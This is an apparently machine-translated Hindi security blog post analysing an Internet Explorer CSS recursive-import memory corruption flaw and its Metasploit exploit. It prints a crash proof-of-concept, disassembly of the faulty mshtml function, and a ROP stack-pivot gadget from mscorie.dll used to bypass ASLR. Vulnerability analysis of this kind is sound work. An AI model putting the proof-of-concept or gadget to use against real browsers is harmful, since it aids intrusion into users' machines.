बहुत पहले नहीं, या यों कहें कि दिसंबर की शुरुआत में, IE के विभिन्न संस्करणों में CSS पुनरावर्ती प्रसंस्करण में मिली त्रुटि के बारे में
जानकारी का पता चला था। प्रस्तुत PoC केवल ब्राउज़र को छोड़ सकता है, लेकिन वे इस सप्ताह की शुरुआत तक इससे अधिक सार्थक कुछ भी नहीं बचा सकते थे, जब तक कि मेटास्प्लोइट में एक
शोषण इस भेद्यता के पूर्ण शोषण के साथ प्रकट नहीं हुआ।
प्रारंभ में, PoC इस तरह दिखता था:
< code >
< div style ="position: absolute; top: -999px;left: -999px;" >
< link href ="css.css" rel ="stylesheet" type ="text/css" />
</ code >
< code of css . css >
*{
color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</ code >
त्रुटि HTML पृष्ठ पार्सर (mshtml.dll) में स्मृति भ्रष्टाचार में है, पुनरावर्ती सीएसएस समावेशन वाले पृष्ठों की प्रक्रिया में,
CStyleSheet :: सूचित ऑब्जेक्ट हटा दिया गया है और बाद में इस स्मृति क्षेत्र का उपयोग मनमाने कोड पर नियंत्रण स्थानांतरित करने के लिए किया जा सकता है।
mshtml!CSharedStyleSheet::Notify:
3ced63a5 8bff mov edi,edi
3ced63a7 55 push ebp
3ced63a8 8bec mov ebp,esp
3ced63aa 51 push ecx
3ced63ab 56 push esi
3ced63ac 8bb1d0000000 mov esi,dword ptr [ecx+0D0h] ; esi = 0x14
3ced63b2 57 push edi
3ced63b3 8bb9d8000000 mov edi,dword ptr [ecx+0D8h] ; pointer to array of CStyleSheet objects
3ced63b9 33c0 xor eax,eax
3ced63bb c1ee02 shr esi,2 ; esi = 0x5
सिद्धांत रूप में, यह भेद्यता विशेष रूप से दिलचस्प नहीं है, लेकिन मेटस्प्लोइट से तरंगों से इसके शोषण का कार्यान्वयन वास्तव में ध्यान देने योग्य है। दिलचस्प है, मानक हीप-स्प्रे के अलावा, .NET के माध्यम से आरओपी (वापसी उन्मुख प्रोग्रामिंग) तकनीक का उपयोग किया गया था, जो पर्याप्त रूप से पर्याप्त नहीं है। अधिक सटीक रूप से, .NET फ्रेमवर्क 2.0 से mscorie.dll की डाउनलोड सुविधा का उपयोग किया गया था, जिसे एक ध्वज के बिना संकलित किया गया था और हमेशा एक ही आधार पते (0x63f00000) पर लोड किया जाता है। डेवलपर्स की ओर से यह चूक शेलकोड से सिस्टम कार्यों को कॉल करने के लिए आरओपी तकनीकों के उपयोग की अनुमति देता है।
ROP के लिए उदाहरण स्टैक पिवेट गैजेट:
mscorie!_chkstk+0x1b:
63f0575b 94 xchg eax,esp
63f0575c 8b00 mov eax,dword ptr [eax]
63f0575e 890424 mov dword ptr [esp],eax
63f05761 c3 ret
Microsoft ने कल इस विषय पर
सुरक्षा सलाहकार 2488013 जारी किया, और जाहिर है कि भेद्यता अपडेट के अगले पैक में बंद हो जाएगी। अब तक, एमएस नागरिक ऊपर वर्णित आरओपी वेक्टर के माध्यम से एएसएलआर बाईपास का मुकाबला करने के लिए
ईएमईटी (एन्हांस्ड मिटिगेशन एक्सपीरिएंस टूलकिट) का उपयोग करने
की सलाह देते हैं ।